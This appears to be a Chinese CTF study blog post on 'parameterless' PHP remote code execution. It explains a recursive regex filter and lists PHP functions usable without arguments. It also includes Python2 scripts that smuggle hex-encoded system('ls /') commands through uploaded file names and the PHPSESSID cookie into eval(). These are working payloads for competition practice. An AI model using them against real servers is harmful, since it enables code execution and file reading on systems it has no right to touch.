RCE

无参数 RCE PHP

Posted by JBNRZ on 2022-10-07
Estimated Reading Time 2 Minutes
Words 691 In Total
Viewed Times

发现

某天做题,发现了一个没看懂的 正则表达式

[^\W]+\((?R)?\)
???什么东西

尝试在线正则匹配也没弄明白,直接搜表达式吧…
rce
rce
收获新名词

无参数 RCE

当时直接用了现成的 payload,现在总结一下 抄网上的东西,方便断网比赛用

新知识

为什么无参数

https://www.php.net/manual/zh/regexp.reference.recursive.php
rce

把(?R)挖掉得到这个正则,这个正则可以匹配类似这样的字符串:phpinfo() 但是括号里面有一个递归模式,可以理解成可以递归:

phpinfo(phpinfo(phpinfo()))

只允许执行类似:

a(b(c()))

不允许执行:

a(‘123’)

(?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d()))

无参数函数

end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
readfile() - 读取文件
getcwd() - 获取当前目录
localeconv() - 当前目录
scandir() - 目录遍历
dirname() - 获取上层目录的名字(类似向上级目录移动
chdir() - 修改当前目录位置
array_flip() - 交换 键 和 值 的内容
array_rand() - 随机返回一个 键,可配合 array_flip() 爆破出数组的值
array_reverse() - 反向数组
show_source 和 highlight_flie - 读文件

常见的三种方法

gettallheaders()
get_defined_vars()
 session_id()

  1. getallheaders()

但是只能在 apache2 的环境
rce

我们可以在 header 中加入恶意命令
rce

var_dump(pos(getallheaders()));
rce

  1. getenv()

可以获取当前的环境变量,配合 array_rand(array_flip()) 爆破
rce
rce
rce

  1. get_defined_vars()

局限性小于 getallheaders(),可以获取 $_GET $_POST $_COOKIE $_FILE
但一般网站喜欢对 $_GET $_POST $_COOKIE 进行过滤,可以操作 $_FILE
rce
rce
python2

1
2
3
4
5
6
7
8
9
10
11
12
import requests
from io import BytesIO

payload = "system('ls /');".encode('hex')
print payload
files = {
payload: BytesIO('test')
}
print files
r = requests.post('http://xxx:xxx/?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)

print r.content
  1. session_id()

修改 COOKIE 中 PHPSESSION 的值,(测试的时候用不了
rce
session_start(): Cannot start session when headers already sent in
python2

1
2
3
4
5
6
7
8
import requests
url = 'http://xxx:xx/?code=eval(hex2bin(session_id(session_start())));'
payload = "system('ls /');".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
  1. 直接读取文件

getcwd() - 获取当前目录
scandir() - 目录遍历
dirname() - 获取上层目录的名字(类似向上级目录移动
chdir() - 修改当前目录位置
rce
配合随机弹出值
rce


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !